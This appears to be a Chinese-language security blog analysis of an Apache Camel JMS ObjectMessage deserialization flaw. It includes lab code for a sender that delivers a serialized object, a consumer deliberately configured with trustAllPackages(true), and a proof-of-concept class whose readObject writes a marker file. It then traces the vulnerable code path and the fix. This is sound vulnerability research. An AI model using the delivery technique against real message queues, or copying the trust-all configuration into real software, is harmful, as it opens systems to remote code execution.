Apache Camel JMS 反序列化(CVE-2026-40860)漏洞分析

漏洞概述

Apache Camel 的核心目标是把各种不同的系统、协议和数据格式“粘合”在一起。它实现了著名的企业集成模式(Enterprise Integration Patterns, EIP),比如拆分消息、聚合消息、动态路由等。

受影响版本中,JmsBinding.extractBodyFromJms() 方法在处理 JMS ObjectMessage 时调用 javax.jms.ObjectMessage.getObject() 获取反序列化对象,但未应用任何 ObjectInputFilter、类允许列表或类拒绝列表进行安全校验。由于 mapJmsMessage 选项默认启用(true),当 Camel 作为 JMS 消费者时,攻击者可向队列或主题发布恶意 ObjectMessage,在类路径存在反序列化 gadget chain 的情况下实现远程代码执行。camel-sjms2(Sjms2Endpoint 扩展 SjmsEndpoint)、camel-amqp(AMQPJmsBinding 扩展 JmsBinding)以及基于 JmsComponent 构建的其他 JMS 组件(如 camel-activemq、camel-activemq6)均通过继承关系受到同一代码路径影响。

影响版本

  • camel <4.18.2
  • camel <4.20.0
  • camel<4.14.7

环境搭建

这个漏洞的反序列化是发生在处理 JMS ObjectMessage 时,这里 camel 主要是用于接收消息,所以我们需要搭建三个程序,一个 sender 负责发送消息,一个 broker 负责接收消息并发送给 camel,最后就是 cmael-demo。

sender

这里只是分析漏洞就自定义了一个恶意的反序列化类,

package lab.sender;  
  
import jakarta.jms.Connection;  
import jakarta.jms.MessageProducer;  
import jakarta.jms.ObjectMessage;  
import jakarta.jms.Queue;  
import jakarta.jms.Session;  
import lab.payload.ProbePayload;  
import org.apache.activemq.ActiveMQConnectionFactory;  
  
public final class SenderMain {  
  
    private static final String DEFAULT_BROKER_URL = "tcp://localhost:61616";  
    private static final String DEFAULT_QUEUE_NAME = "camel.lab.object";  
  
    private SenderMain() {  
    }  
  
    public static void main(String[] args) throws Exception {  
        String brokerUrl = System.getProperty("broker.url", DEFAULT_BROKER_URL);  
        String queueName = System.getProperty("queue.name", DEFAULT_QUEUE_NAME);  
        String message = System.getProperty("probe.message", "hello-from-sender");  
  
        ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl);  
        connectionFactory.setTrustAllPackages(true);  
  
        try (Connection connection = connectionFactory.createConnection()) {  
            connection.start();  
  
            try (Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE)) {  
                Queue queue = session.createQueue(queueName);  
                MessageProducer producer = session.createProducer(queue);  
  
                ProbePayload payload = new ProbePayload(message);  
                ObjectMessage objectMessage = session.createObjectMessage(payload);  
  
                producer.send(objectMessage);  
                System.out.println("[Sender] Sent ObjectMessage to queue: " + queueName);  
                System.out.println("[Sender] Broker URL: " + brokerUrl);  
                System.out.println("[Sender] Payload: " + payload);  
            }  
        }  
    }  
}

broker

这里选用 activemq classic,直接用 docker 搭建就可以了

services:
  activemq:
    image: apache/activemq-classic:5.19.2
    container_name: camel-lab-activemq
    ports:
      - "61616:61616"
      - "8161:8161"

cmael-demo

activemq classic 存在默认的反序列化白名单,这里 connectionFactory.setTrustAllPackages(true); 设置为默认信任所以包名,上面 sender 同理。如果用其他的比如 ActiveMQ Artemis,IBM MQ 做 broker 没有默认白名单,

package lab.camel;  
  
import java.nio.file.Path;  
import java.util.concurrent.CountDownLatch;  
import org.apache.activemq.ActiveMQConnectionFactory;  
import org.apache.camel.builder.RouteBuilder;  
import org.apache.camel.component.jms.JmsComponent;  
import org.apache.camel.impl.DefaultCamelContext;  
  
public final class ConsumerMain {  
  
    private static final String DEFAULT_BROKER_URL = "tcp://localhost:61616";  
    private static final String DEFAULT_QUEUE_NAME = "camel.lab.object";  
  
    private ConsumerMain() {  
    }  
  
    public static void main(String[] args) throws Exception {  
        String brokerUrl = System.getProperty("broker.url", DEFAULT_BROKER_URL);  
        String queueName = System.getProperty("queue.name", DEFAULT_QUEUE_NAME);  
        String markerFile = System.getProperty(  
                "probe.marker",  
                Path.of("target", "probe-hit.txt").toAbsolutePath().toString());  
  
        System.setProperty("probe.marker", markerFile);  
  
        ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl);  
        connectionFactory.setTrustAllPackages(true);  
  
        JmsComponent jmsComponent = JmsComponent.jmsComponentAutoAcknowledge(connectionFactory);  
        jmsComponent.setMapJmsMessage(true);  
  
        DefaultCamelContext context = new DefaultCamelContext();  
        context.addComponent("jms", jmsComponent);  
        context.addRoutes(new RouteBuilder() {  
            @Override  
            public void configure() {  
                from("jms:queue:" + queueName)  
                        .routeId("object-message-consumer")  
                        .process(exchange -> {  
                            Object body = exchange.getIn().getBody();  
                            String bodyClass = body == null ? "null" : body.getClass().getName();  
                            System.out.println("[Consumer] Received body class: " + bodyClass);  
                            System.out.println("[Consumer] Received body value: " + body);  
                            System.out.println("[Consumer] Marker file: " + System.getProperty("probe.marker"));  
                        });  
            }  
        });  
  
        Runtime.getRuntime().addShutdownHook(new Thread(() -> {  
            try {  
                context.stop();  
            } catch (Exception ignored) {  
            }  
        }));  
  
        context.start();  
        System.out.println("[Consumer] Camel started with broker: " + brokerUrl);  
        System.out.println("[Consumer] Waiting on queue: " + queueName);  
        System.out.println("[Consumer] mapJmsMessage=true");  
  
        new CountDownLatch(1).await();  
    }  
}

漏洞复现

我们在 javax.jms.ObjectMessage.getObject()打上断点,然依次执行 camel-demo 和 sender 程序,成功到了 ActiveMQObjectMessage. getObject() 方法进行反序列化,

然后最后成功反序列化了我们的恶意类,

我们的恶意类的 readObject 方法是创建一个文件并写入发送的消息内容,

package lab.payload;  
  
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.Serializable;  
import java.nio.file.Files;  
import java.nio.file.Path;  
import java.nio.file.StandardOpenOption;  
import java.time.Instant;  
  
public final class ProbePayload implements Serializable {  
  
    private static final long serialVersionUID = 1L;  
  
    private final String message;  
  
    public ProbePayload(String message) {  
        this.message = message;  
    }  
  
    public String getMessage() {  
        return message;  
    }  
  
    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {  
        inputStream.defaultReadObject();  
  
        String markerFile = System.getProperty("probe.marker", "probe-hit.txt");  
        Path markerPath = Path.of(markerFile).toAbsolutePath();  
        Path parent = markerPath.getParent();  
        if (parent != null) {  
            Files.createDirectories(parent);  
        }  
  
        Files.writeString(  
                markerPath,  
                Instant.now() + " deserialized payload message=" + message + System.lineSeparator(),  
                StandardOpenOption.CREATE,  
                StandardOpenOption.APPEND);  
  
        System.out.println("[ProbePayload] readObject executed, marker file: " + markerPath);  
    }  
  
    @Override  
    public String toString() {  
        return "ProbePayload{message='" + message + "'}";  
    }  
}

漏洞分析

漏洞概述说得已经比较清楚了,直接定位到 JmsBinding.extractBodyFromJms() 方法,在接收到消息体后会调用 Object payload = objectMessage.getObject(); 去提取出其中的 java 对象,这里就会涉及到反序列化的操作

继续跟进来到 ActiveMQObjectMessage. getObject() 方法

追进这个 deserialize 方法,在这里面会调用到 readobject 方法,这里有两个方法会进行反序列化类检测

objIn.setTrustedPackages(this.trustedPackages);  
objIn.setTrustAllPackages(this.trustAllPackages);

第一个是一个白名单检测

但是这里设置信任所以包就不用管白名单了,最后直接把恶意类进行了反序列化。

漏洞修复

后续官方的修复新加了个 this.checkDeserializedClass(payload); 用于检查反序列化后的类是否在白名单里面,

默认的兜底白名单如下:

这个修复仅仅是为了防止恶意对象进入后续路由,如果不在白名单直接抛出异常

真正的反序列化拦截还是需要在 Provider/JVM 设置过滤器,因为 camel 没法获取到 ActiveMQ 内部的 ClassLoadingAwareObjectInputStream 去直接添加白名单。

参考

https://avd.aliyun.com/detail?id=AVD-2026-40860

https://camel.apache.org/security/CVE-2026-40860.html